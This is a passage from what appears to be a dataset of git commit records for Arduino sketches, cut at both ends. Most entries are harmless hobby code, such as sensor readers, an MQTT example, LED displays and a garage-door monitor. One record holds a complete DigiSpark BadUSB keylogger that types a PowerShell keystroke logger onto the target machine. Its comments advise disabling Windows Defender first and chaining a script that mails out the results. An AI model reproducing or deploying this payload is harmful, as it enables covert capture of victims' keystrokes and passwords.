{1,1,0,1}, \/\/channel 11\n {0,0,1,1}, \/\/channel 12\n {1,0,1,1}, \/\/channel 13\n {0,1,1,1}, \/\/channel 14\n {1,1,1,1} \/\/channel 15\n };\n\nchar allPressures[621];\nchar temp[621];\n \nvoid setup(){\n pinMode(t0, OUTPUT); \n pinMode(t1, OUTPUT); \n pinMode(t2, OUTPUT); \n pinMode(t3, OUTPUT);\n \n pinMode(b0, OUTPUT); \n pinMode(b1, OUTPUT); \n pinMode(b2, OUTPUT); \n pinMode(b3, OUTPUT);\n \n pinMode(topSig,INPUT);\n pinMode(botSig,INPUT);\n \n digitalWrite(t0, LOW);\n digitalWrite(t1, LOW);\n digitalWrite(t2, LOW);\n digitalWrite(t3, LOW);\n\n digitalWrite(b0, LOW);\n digitalWrite(b1, LOW);\n digitalWrite(b2, LOW);\n digitalWrite(b3, LOW);\n \n for(int i = 0; i < 32; i ++){\n vals[i]=0;\n }\n Spark.variable(\"Pressure\",allPressures,STRING);\n Spark.function(\"getPressure\",getP);\n Spark.variable(\"Angle\",&ang,DOUBLE);\n}\n\n\nvoid loop(){\n for(int i = 0; i < 32; i ++){\n vals[i]=0;\n }\n \/\/Loop through and read all 32 values\n \/\/Reports back Value at channel 6 is: 346\n for(int t = 0; t< avg;t++){\n for(int i = 0; i < 16; i++){\n vals[i] += (double)readMux(0,i);\n vals[i+16] += (double)readMux(1,i);\n }\n}\n sprintf(allPressures,\"\");\n sprintf(temp,\"\");\n for(int i = 0; i < 31; i ++){\n sprintf(temp,\"%s\",allPressures);\n sprintf(allPressures,\"%s%d,\",temp,round(vals[i]\/avg));\n }\n sprintf(temp,\"%s\",allPressures);\n sprintf(allPressures,\"%s%d\",temp,round(vals[31]\/avg));\n \n int temp = analogRead(inclinometer);\n ang = (((double)temp\/4095.0-0.5)*2.0+0.01)\/0.2;\n \n}\n\n\nint readMux(bool isTop, int channel){\n \/\/loop through the 4 sig\n for(int i = 0; i < 4; i ++){\n digitalWrite(topControl[i], muxChannel[channel][i]);\n digitalWrite(bottomControl[i], muxChannel[channel][i]);\n }\n\n \/\/read the value at the SIG pin\n int val;\n if(isTop)\n {\n val = analogRead(topSig);\n }\n else\n {\n val = analogRead(botSig);\n }\n \/\/return the value\n return val;\n}\n\nint getP(String args)\n{\n bool isT;\n int channel = args.toInt();\n if(channel>=0 && channel<32)\n {\n isT = 0;\n if(channel>15)\n {\n isT =1;\n channel =channel-16;\n }\n return readMux(isT,channel);\n }\n else\n {\n return -1;\n }\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Airfoil.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9f5d083cc7a6864edb1523989b53dd1d2bd39115","subject":"Dodano odczyty temperatury","message":"Dodano odczyty temperatury\n","repos":"RobinsoneC12\/ArudinoWeatherStation,Bravo555\/ArudinoWeatherStation,RobinsoneC12\/ArudinoWeatherStation","old_file":"Odczyty.ino","new_file":"Odczyty.ino","new_contents":"const int pinTermometru = 0;\nvoid setup() {\nSerial.begin(9600);\n\n}\n\nfloat odczyt_temperatury(){\nfloat temperatura;\ntemperatura = (analogRead(pinTermometru)\/1024.0)*500;\ntemperatura = temperatura - 276;\nreturn temperatura;\n}\n\nvoid loop() {\nSerial.println(odczyt_temperatury());\ndelay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Odczyty.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2e8f2f702d9071c786b84302cb663f9da4b1fbec","subject":"small change","message":"small change\n","repos":"TEAMarg\/ID-47-Helmets-Hordes,TEAMarg\/ID-47-Helmets-Hordes","old_file":"HEHO_AB\/HEHO_AB.ino","new_file":"HEHO_AB\/HEHO_AB.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TEAMarg\/ID-47-Helmets-Hordes.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"623c93f0b9f594e0934d1115e2ff824399eb5f02","subject":"Adds arduino code for current implementation","message":"Adds arduino code for current implementation\n\nNow reads 3 pins\n","repos":"sammyd\/conair","old_file":"conair_arduino.ino","new_file":"conair_arduino.ino","new_contents":"\/*\n* Generate a 1Khz square wave on pin 3\n* Read analog voltage on pin 0,1,2 send to serial port every 3 seconds\n*\/\n\n\nconst int analogInPin0 = A0; \/\/ Analog input pin\nconst int analogInPin1 = A1; \/\/ Analog input pin\nconst int analogInPin2 = A2; \/\/ Analog input pin\n\n\nint sensorValue0 = 0;\nint sensorValue1 = 0;\nint sensorValue2 = 0;\n\n\nvoid setup() {\n\n\/\/ initialize serial communications at 9600 bps:\n\nSerial.begin(9600);\n\n\/\/ set pwm registers for approx 1Khz\npinMode(3, OUTPUT);\npinMode(11, OUTPUT);\nTCCR2A = _BV(COM2A1) | _BV(COM2B1) | _BV(WGM21) | _BV(WGM20);\nTCCR2B = _BV(CS22);\nOCR2A = 180;\nOCR2B = 50;\n}\n\nvoid loop() {\n\/\/ read the analog pins\nsensorValue0 = analogRead(analogInPin0);\ndelay(4);\nsensorValue1 = analogRead(analogInPin1);\ndelay(4);\nsensorValue2 = analogRead(analogInPin2);\ndelay(4);\n\n\/\/ print the results to the serial monitor:\n\nSerial.print(\"sensorValue0 = \" );\nSerial.println(sensorValue0);\n\nSerial.print(\"sensorValue1 = \" );\nSerial.println(sensorValue1);\n\nSerial.print(\"sensorValue2 = \" );\nSerial.println(sensorValue2);\n\n\/\/ wait 3 seconds before the next readings\n\ndelay(3000-12);\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'conair_arduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b14ac4752490cfa84faf269c26b576ae57956be4","subject":"Add example sketch for testing out \"will\" messages","message":"Add example sketch for testing out \"will\" messages\n","repos":"Imroy\/pubsubclient,Imroy\/pubsubclient,Imroy\/pubsubclient","old_file":"examples\/mqtt_will\/mqtt_will.ino","new_file":"examples\/mqtt_will\/mqtt_will.ino","new_contents":"\/*\n MQTT \"will\" message example\n\n - connects to an MQTT server with a will message\n - publishes a message\n - waits a little bit\n - disconnects the socket *without* sending a disconnect packet\n\n You should see the will message published when we disconnect\n*\/\n\n#include <ESP8266WiFi.h>\n#include <PubSubClient.h>\n\nconst char *ssid =\t\"xxxxxxxx\";\t\t\/\/ cannot be longer than 32 characters!\nconst char *pass =\t\"yyyyyyyy\";\t\t\/\/\n\n\/\/ Update these with values suitable for your network.\nIPAddress server(172, 16, 0, 2);\n\nWiFiClient wclient;\nPubSubClient client(wclient, server);\n\nvoid setup() {\n \/\/ Setup console\n Serial.begin(115200);\n delay(10);\n Serial.println();\n Serial.println();\n}\n\nvoid loop() {\n delay(1000);\n\n if (WiFi.status() != WL_CONNECTED) {\n Serial.print(\"Connecting to \");\n Serial.print(ssid);\n Serial.println(\"...\");\n WiFi.begin(ssid, pass);\n\n if (WiFi.waitForConnectResult() != WL_CONNECTED)\n return;\n Serial.println(\"WiFi connected\");\n }\n\n if (WiFi.status() == WL_CONNECTED) {\n MQTT::Connect con(\"arduinoClient\");\n con.set_will(\"test\", \"I am down.\");\n \/\/ Or to set a binary message:\n \/\/ char msg[4] = { 0xde, 0xad, 0xbe, 0xef };\n \/\/ con.set_will(\"test\", msg, 4);\n if (client.connect(con)) {\n client.publish(\"test\", \"I am up!\");\n delay(1000);\n wclient.stop();\n } else\n Serial.println(\"MQTT connection failed.\");\n\n delay(10000);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/mqtt_will\/mqtt_will.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"35671b8163d4969e7214cdc2f3c4ec10b47cf858","subject":"change goal facing direction; Change exploration flow;","message":"change goal facing direction; Change exploration flow;\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration testing\/src\/main.ino","new_file":"exploration testing\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'testing\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3229e422a245b2fa6ca8eca283cfa78eb3c7f3b0","subject":"run autoformat in the example","message":"run autoformat in the example\n","repos":"niggor\/Arduino_cc,majenkotech\/Arduino,nandojve\/Arduino,bsmr-arduino\/Arduino,me-no-dev\/Arduino-1,NicoHood\/Arduino,NicoHood\/Arduino,stevemayhew\/Arduino,PaoloP74\/Arduino,PaoloP74\/Arduino,me-no-dev\/Arduino-1,Chris--A\/Arduino,NicoHood\/Arduino,majenkotech\/Arduino,tbowmo\/Arduino,Chris--A\/Arduino,me-no-dev\/Arduino-1,vbextreme\/Arduino,Chris--A\/Arduino,majenkotech\/Arduino,vbextreme\/Arduino,tbowmo\/Arduino,byran\/Arduino,me-no-dev\/Arduino-1,byran\/Arduino,PaoloP74\/Arduino,stevemayhew\/Arduino,nandojve\/Arduino,niggor\/Arduino_cc,vbextreme\/Arduino,stickbreaker\/Arduino,vbextreme\/Arduino,me-no-dev\/Arduino-1,tbowmo\/Arduino,stickbreaker\/Arduino,bsmr-arduino\/Arduino,Chris--A\/Arduino,stevemayhew\/Arduino,byran\/Arduino,vbextreme\/Arduino,nandojve\/Arduino,PaoloP74\/Arduino,tbowmo\/Arduino,tbowmo\/Arduino,nandojve\/Arduino,PaoloP74\/Arduino,PaoloP74\/Arduino,stevemayhew\/Arduino,me-no-dev\/Arduino-1,PaoloP74\/Arduino,stickbreaker\/Arduino,tbowmo\/Arduino,byran\/Arduino,tbowmo\/Arduino,bsmr-arduino\/Arduino,tbowmo\/Arduino,majenkotech\/Arduino,bsmr-arduino\/Arduino,stickbreaker\/Arduino,vbextreme\/Arduino,bsmr-arduino\/Arduino,niggor\/Arduino_cc,NicoHood\/Arduino,niggor\/Arduino_cc,nandojve\/Arduino,bsmr-arduino\/Arduino,byran\/Arduino,niggor\/Arduino_cc,bsmr-arduino\/Arduino,stickbreaker\/Arduino,NicoHood\/Arduino,niggor\/Arduino_cc,vbextreme\/Arduino,NicoHood\/Arduino,niggor\/Arduino_cc,byran\/Arduino,stevemayhew\/Arduino,majenkotech\/Arduino,Chris--A\/Arduino,niggor\/Arduino_cc,me-no-dev\/Arduino-1,bsmr-arduino\/Arduino,NicoHood\/Arduino,majenkotech\/Arduino,PaoloP74\/Arduino,majenkotech\/Arduino,stevemayhew\/Arduino,stevemayhew\/Arduino,stickbreaker\/Arduino,me-no-dev\/Arduino-1,stickbreaker\/Arduino,nandojve\/Arduino,Chris--A\/Arduino,niggor\/Arduino_cc,Chris--A\/Arduino,nandojve\/Arduino,Chris--A\/Arduino,stevemayhew\/Arduino,byran\/Arduino,vbextreme\/Arduino,byran\/Arduino,nandojve\/Arduino,NicoHood\/Arduino","old_file":"build\/shared\/examples\/04.Communication\/VirtualColorMixer\/VirtualColorMixer.ino","new_file":"build\/shared\/examples\/04.Communication\/VirtualColorMixer\/VirtualColorMixer.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/bsmr-arduino\/Arduino.git\/'\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"24647b8e0eedfb78cb4fe3ea70a35945c11ca8f4","subject":"First steps with 4-digit numeric display","message":"First steps with 4-digit numeric display\n","repos":"DmitryDzz\/meteo","old_file":"digit4\/digit4.ino","new_file":"digit4\/digit4.ino","new_contents":"const int DIGIT_1_PIN = 3;\nconst int DIGIT_2_PIN = 5;\nconst int DIGIT_3_PIN = 6;\nconst int DIGIT_4_PIN = 9;\n\nconst int SEGMENT_A_PIN = 2;\nconst int SEGMENT_B_PIN = 8;\nconst int SEGMENT_C_PIN = 10;\nconst int SEGMENT_D_PIN = 11;\nconst int SEGMENT_E_PIN = 12;\nconst int SEGMENT_F_PIN = 7;\nconst int SEGMENT_G_PIN = 13;\n\nvoid setup() {\n pinMode(DIGIT_1_PIN, OUTPUT);\n pinMode(DIGIT_2_PIN, OUTPUT);\n pinMode(DIGIT_3_PIN, OUTPUT);\n pinMode(DIGIT_4_PIN, OUTPUT);\n\n pinMode(SEGMENT_A_PIN, OUTPUT);\n pinMode(SEGMENT_B_PIN, OUTPUT);\n pinMode(SEGMENT_C_PIN, OUTPUT);\n pinMode(SEGMENT_D_PIN, OUTPUT);\n pinMode(SEGMENT_E_PIN, OUTPUT);\n pinMode(SEGMENT_F_PIN, OUTPUT);\n pinMode(SEGMENT_G_PIN, OUTPUT);\n \n digitalWrite(DIGIT_1_PIN, HIGH);\n digitalWrite(DIGIT_2_PIN, HIGH);\n digitalWrite(DIGIT_3_PIN, HIGH);\n digitalWrite(DIGIT_4_PIN, LOW);\n digitalWrite(SEGMENT_A_PIN, HIGH);\n digitalWrite(SEGMENT_B_PIN, HIGH);\n digitalWrite(SEGMENT_C_PIN, HIGH);\n digitalWrite(SEGMENT_D_PIN, HIGH);\n digitalWrite(SEGMENT_E_PIN, HIGH);\n digitalWrite(SEGMENT_F_PIN, HIGH);\n digitalWrite(SEGMENT_G_PIN, HIGH);\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'digit4\/digit4.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"2287203fa1a4e54802d341db192369e89d0b5710","subject":"Added more debug output","message":"Added more debug output\n","repos":"mcrosson\/arduino_safe_lighting,mcrosson\/arduino_safe_lighting","old_file":"src\/src.ino","new_file":"src\/src.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mcrosson\/arduino_safe_lighting.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"8aac380083b6664e6404df42661acd2df321b4a5","subject":"Updated 01b-Free Run code.","message":"Updated 01b-Free Run code.\n","repos":"lenzjo\/MBC","old_file":"01b-Free Run\/TLC-MBC-test_01b.ino","new_file":"01b-Free Run\/TLC-MBC-test_01b.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lenzjo\/MBC.git\/'\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"8e9e134ddd06724ca2ed0eaef53c2d6ea56bf61a","subject":"Added retry logic to data submission Optimised the code a bit Added ping support for MQTT","message":"Added retry logic to data submission\nOptimised the code a bit\nAdded ping support for MQTT\n","repos":"rniemand\/ArduinoProjects,rniemand\/ArduinoProjects,rniemand\/ArduinoProjects,rniemand\/ArduinoProjects","old_file":"projects\/weather_station\/weather-node-v2\/weather-node-v2.ino","new_file":"projects\/weather_station\/weather-node-v2\/weather-node-v2.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/rniemand\/ArduinoProjects.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"7d007a0d035e74d8f85dc0319c41e69346cbfdc1","subject":"Adds sketch for reading gas sensor and lighting LED","message":"Adds sketch for reading gas sensor and lighting LED\n","repos":"halfdanrump\/somethingnice,halfdanrump\/somethingnice","old_file":"arduino\/gas_sensor\/gas_sensor.ino","new_file":"arduino\/gas_sensor\/gas_sensor.ino","new_contents":"#define GASPIN 11\n\nfloat maxGas = 1.5;\nfloat minGas = 0.1;\nvoid setup() {\n Serial.begin(9600);\n init_gas_sensor();\n\/\/ analogWrite(6, 255);\n}\n \n \nvoid init_gas_sensor(){\n pinMode(GASPIN, OUTPUT);\n}\n\nfloat read_gas_sensor() {\n float gas;\n int sensorValue = analogRead(A0);\n gas=(float) sensorValue\/1024*5.0;\n float scaledGas = (gas - minGas) \/ maxGas;\n scaledGas = max(scaledGas, 0) * 255;\n return scaledGas;\n \n}\n\nvoid loop(){\n float gaslevel = read_gas_sensor();\n analogWrite(GASPIN, gaslevel);\n Serial.print(gaslevel);\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/gas_sensor\/gas_sensor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a9ac65af2c6ad76a2637d53634c6293991c5c73d","subject":"Added Keylogger Script","message":"Added Keylogger Script\n","repos":"CedArctic\/DigiSpark-Scripts,CedArctic\/DigiSpark-Scripts","old_file":"Keylogger\/\u039aeylogger.ino","new_file":"Keylogger\/\u039aeylogger.ino","new_contents":"\/* \n * This DigiKeyboard Script runs dasgoll's Powershell keylogger (https:\/\/gist.github.com\/dasgoll\/7ca1c059dd3b3fbc7277)\n * for a predefined number of seconds ($timeoutSeconds) and saves the results to mykeypress.txt in \n * APPDATA\\Local\\Temp\\mykeypresses.txt. Feel free to chain this script with the logic in WiFi_Profile_Grabber or \n * WiFi_Profile_Mailer to retrieve the results.\n * \n * WARNING: Windows Defender is able to detect this so you will have to chain this after a script disabling Windows Defender.\n *\/\n\n#include \"DigiKeyboard.h\"\nvoid setup() {\n \/\/empty\n}\nvoid loop() {\n \/\/ Open Powershell\n DigiKeyboard.sendKeyStroke(0);\n DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);\n DigiKeyboard.delay(500);\n DigiKeyboard.print(\"powershell\");\n DigiKeyboard.delay(500);\n DigiKeyboard.sendKeyStroke(KEY_ENTER);\n DigiKeyboard.delay(5000);\n\n \/\/ Write Keylogger Function\n DigiKeyboard.print(F(\"$code = {function My-Keypresses($Path=\\\"$env:temp\\\\mykeypress.txt\\\") \\n{\\n $signatures = @\\'\\n[DllImport(\\\"user32.dll\\\", CharSet=CharSet.Auto, ExactSpelling=true)] \\npublic static extern short GetAsyncKeyState(int virtualKeyCode); \\n[DllImport(\\\"user32.dll\\\", CharSet=CharSet.Auto)]\\npublic static extern int GetKeyboardState(byte[] keystate);\\n[DllImport(\\\"user32.dll\\\", CharSet=CharSet.Auto)]\\npublic static extern int MapVirtualKey(uint uCode, int uMapType);\\n[DllImport(\\\"user32.dll\\\", CharSet=CharSet.Auto)]\\npublic static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);\\n\\'@\\n\\n $API = Add-Type -MemberDefinition $signatures -Name \\'Win32\\' -Namespace API -PassThru\\n \\n $null = New-Item -Path $Path -ItemType File -Force\\n\\n try\\n {\\n\\n while ($true) {\\n Start-Sleep -Milliseconds 40\\n \\n for ($ascii = 9; $ascii -le 254; $ascii++) {\\n $state = $API::GetAsyncKeyState($ascii)\\n\\n if ($state -eq -32767) {\\n $null = [console]::CapsLock\\n\\n $virtualKey = $API::MapVirtualKey($ascii, 3)\\n\\n $kbstate = New-Object Byte[] 256\\n $checkkbstate = $API::GetKeyboardState($kbstate)\\n\\n $mychar = New-Object -TypeName System.Text.StringBuilder\\n\\n $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)\\n\\n if ($success) \\n {\\n [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) \\n }\\n }\\n }\\n }\\n }\\n finally\\n {\\n }\\n}}; $timeoutSeconds = 10; $j = Start-Job -ScriptBlock $code; if (Wait-Job $j -Timeout $timeoutSeconds) { Receive-Job $j }; Remove-Job -force $j\"));\n DigiKeyboard.delay(500);\n DigiKeyboard.sendKeyStroke(KEY_ENTER);\n for(;;){ \/*empty*\/ }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Keylogger\/\u039aeylogger.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a9b7b4f2c4952768022d9503e608d6abb40ae816","subject":"Add temperature examples","message":"Add temperature examples\n","repos":"phodal\/iot-code,designiot\/code,phodal\/iot-code,phodal\/iot-code,designiot\/code,designiot\/code,designiot\/code,phodal\/iot-code","old_file":"chapter5\/temperature\/temperature.ino","new_file":"chapter5\/temperature\/temperature.ino","new_contents":"\/\/ Include the libraries we need\n#include <OneWire.h>\n#include <DallasTemperature.h>\n\n\/\/ Data wire is plugged into port 2 on the Arduino\n#define ONE_WIRE_BUS 2\n\n\/\/ Setup a oneWire instance to communicate with any OneWire devices (not just Maxim\/Dallas temperature ICs)\nOneWire oneWire(ONE_WIRE_BUS);\n\n\/\/ Pass our oneWire reference to Dallas Temperature. \nDallasTemperature sensors(&oneWire);\n\n\/*\n * The setup function. We only start the sensors here\n *\/\nvoid setup(void)\n{\n \/\/ start serial port\n Serial.begin(9600);\n Serial.println(\"Dallas Temperature IC Control Library Demo\");\n\n \/\/ Start up the library\n sensors.begin();\n}\n\n\/*\n * Main function, get and show the temperature\n *\/\nvoid loop(void)\n{ \n \/\/ call sensors.requestTemperatures() to issue a global temperature \n \/\/ request to all devices on the bus\n Serial.print(\"Requesting temperatures...\");\n sensors.requestTemperatures(); \/\/ Send the command to get temperatures\n Serial.println(\"DONE\");\n \/\/ After we got the temperatures, we can print them here.\n \/\/ We use the function ByIndex, and as an example get the temperature from the first sensor only.\n Serial.print(\"Temperature for the device 1 (index 0) is: \");\n Serial.println(sensors.getTempCByIndex(0)); \n delay(500); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'chapter5\/temperature\/temperature.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7dba8a003cd9a7db41ba7415a5575073b1f282a1","subject":"Theft detection","message":"Theft detection\n\nTheft detection is implemented.","repos":"shubham797\/Tracky","old_file":"Arduino\/Tracky\/Tracky.ino","new_file":"Arduino\/Tracky\/Tracky.ino","new_contents":"#include \"CurieIMU.h\"\n\nint avgX = 0;\nint avgY = 0;\nint avgZ = 0;\n\/\/int count = 0;\n\nboolean alert = 0;\nboolean theft = 0;\n\/\/ Functions\nvoid setReference();\n\/*************************************************************\n Setup Function\n*************************************************************\/\nvoid setup() {\n Serial.begin(9600); \/\/ initialize Serial communication\n Serial1.begin(9600); \/\/ initialize serial communication for BT\n \n \/\/ initialize device\n Serial1.println(\"Initializing IMU device...\");\n CurieIMU.begin();\n\n \/\/ Set the accelerometer range to 3G\n CurieIMU.setAccelerometerRange(3);\n delay(1000);\n}\n\/*************************************************************\n Loop Function\n*************************************************************\/\nvoid loop() {\n if (Serial1.available() > 0) {\n char ch = Serial1.read();\n if (ch == '1' && alert == 0) {\n \/\/ Calculate reference\n setReference();\n alert = 1;\n } else if (ch == '0') {\n alert = 0;\n theft = 0;\n Serial1.println(\"Reseting. . .\");\n }\n }\n\n if (alert == 1) {\n int x = abs(abs(CurieIMU.readAccelerometer(X_AXIS)) - avgX);\n int y = abs(abs(CurieIMU.readAccelerometer(Y_AXIS)) - avgY);\n int z = abs(abs(CurieIMU.readAccelerometer(Z_AXIS)) - avgZ);\n int s = (x + y + z) \/ 3;\n Serial1.print(\"Curret position: \");\n Serial1.print(\"\\t\");\n Serial1.println(s);\n if (s > 1000) {\n theft = 1;\n Serial1.println(\"ALERT\");\n Serial1.println(); \n }\n }\n\n while(theft) {\n digitalWrite(13, HIGH);\n if (Serial1.available() > 0 && Serial1.read() == '0') {\n alert = 0;\n theft = 0;\n Serial1.println(\"Reseting. . .\");\n }\n }\n digitalWrite(13, LOW);\n delay(50);\n}\n\/*************************************************************\n setReference Function\n*************************************************************\/\nvoid setReference() {\n long sumX = 0;\n long sumY = 0;\n long sumZ = 0;\n \/\/ Calculate reference position\n for (int i = 0; i < 1000; i++) {\n int x = abs(CurieIMU.readAccelerometer(X_AXIS));\n int y = abs(CurieIMU.readAccelerometer(Y_AXIS));\n int z = abs(CurieIMU.readAccelerometer(Z_AXIS));\n sumX += x;\n sumY += y;\n sumZ += z;\n }\n avgX = sumX \/ 1000;\n avgY = sumY \/ 1000;\n avgZ = sumZ \/ 1000;\n Serial1.print(\"Reference position: \");\n Serial1.print(\"\\t\");\n Serial1.print(avgX);\n Serial1.print(\"\\t\");\n Serial1.print(avgY);\n Serial1.print(\"\\t\");\n Serial1.println(avgZ);\n Serial1.println();\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/Tracky\/Tracky.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"647ad3494260b9d23f4262fd5d64fb702a3ff0d7","subject":"Create compressedDemo.ino","message":"Create compressedDemo.ino","repos":"TEAMarg\/drawCompressed,TEAMarg\/drawCompressed","old_file":"compressedDemo\/compressedDemo.ino","new_file":"compressedDemo\/compressedDemo.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TEAMarg\/drawCompressed.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"5868f5fe9108cdd57c50fd25803ec71dbaf7f1b7","subject":"add garage status monitor","message":"add garage status monitor\n","repos":"squarism\/garage_detector","old_file":"garage_status.ino","new_file":"garage_status.ino","new_contents":"\/\/ This #include statement was automatically added by the Particle IDE.\n#include \"SparkJson\/SparkJson.h\"\n\n\/\/ This #include statement was automatically added by the Particle IDE.\n#include \"neopixel\/neopixel.h\"\n\n#include <string.h>\n\n\/\/ ---- CHANGE THIS ----\n#define PIXEL_PIN D1\n#define PIXEL_COUNT 2\n#define PIXEL_TYPE WS2812B\n\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(PIXEL_COUNT, PIXEL_PIN, PIXEL_TYPE);\n\nint doorState = -1;\n\n\/\/ IMPORTANT: To reduce NeoPixel burnout risk, add 1000 uF capacitor across\n\/\/ pixel power leads, add 300 - 500 Ohm resistor on first pixel's data input\n\/\/ and minimize distance between Arduino and first pixel. Avoid connecting\n\/\/ on a live circuit...if you must, connect GND first.\n\nvoid setup() {\n Serial.begin(9600);\n strip.begin();\n strip.show(); \/\/ Initialize all pixels to 'off'\n Particle.subscribe(\"garage\/open\", eventHandler);\n Serial.println(\"I'm booted!\");\n}\n\nvoid loop() {\n if (Particle.connected() == false) {\n Particle.connect();\n }\n Particle.process();\n \n if (doorState == 1) {\n fireRing(200);\n } else if (doorState == 0) {\n iceRing(200);\n }\n}\n\nvoid eventHandler(const char *event, const char *data) {\n \/\/ Parse the event as json into something structured so we can react to it.\n \/\/ Saved by example!\n \/\/ https:\/\/github.com\/glowfishAPI\/glowfish-particle\/blob\/master\/firmware\/examples\/anomaly-detect-webhook\/anomaly-detect-webhook.ino\n int len = strlen(data);\n char dataCopy[len+1];\n strcpy(dataCopy, data);\n\n StaticJsonBuffer<500> jsonBuffer;\n JsonObject& json = jsonBuffer.parseObject(dataCopy);\n \n if (json[\"door_open\"] == true) {\n Serial.println(\"door is open.\");\n doorState = 1;\n }\n\n if (json[\"door_open\"] == false) {\n Serial.println(\"door is closed.\");\n doorState = 0;\n }\n\n}\n\n\/\/ Fill the dots one after the other with a color\nvoid colorWipe(uint32_t c, uint8_t wait) {\n for(uint16_t i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, c);\n strip.show();\n delay(wait);\n }\n}\n\nvoid fireRing(uint16_t wait) {\n uint16_t i, j;\n int colorStart = 95; \/\/ a pure red\n int colorEnd = 125; \/\/ the led starts to blink purple\n\n for(j=colorStart; j<colorEnd; j++) {\n for(i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, Wheel(j & 255));\n }\n strip.show();\n delay(wait);\n }\n for(j=colorEnd; j>colorStart; j--) {\n for(i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, Wheel(j & 255));\n }\n strip.show();\n delay(wait);\n }\n\n}\n\nvoid iceRing(uint16_t wait) {\n uint16_t i, j;\n int colorStart = 166;\n int colorEnd = 199;\n\n for(j=colorStart; j<colorEnd; j++) {\n for(i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, Wheel(j & 255));\n }\n strip.show();\n delay(wait);\n }\n for(j=colorEnd; j>colorStart; j--) {\n for(i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, Wheel(j & 255));\n }\n strip.show();\n delay(wait);\n }\n\n}\n\n\n\/\/ Input a value 0 to 255 to get a color value.\n\/\/ The colours are a transition r - g - b - back to r.\nuint32_t Wheel(byte WheelPos) {\n if(WheelPos < 85) {\n return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);\n } else if(WheelPos < 170) {\n WheelPos -= 85;\n return strip.Color(255 - WheelPos * 3, 0, WheelPos * 3);\n } else {\n WheelPos -= 170;\n return strip.Color(0, WheelPos * 3, 255 - WheelPos * 3);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'garage_status.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f216a32c0547e7ea8c49507fe0071a7bf0a127f1","subject":"add textBounds sample proguram","message":"add textBounds sample 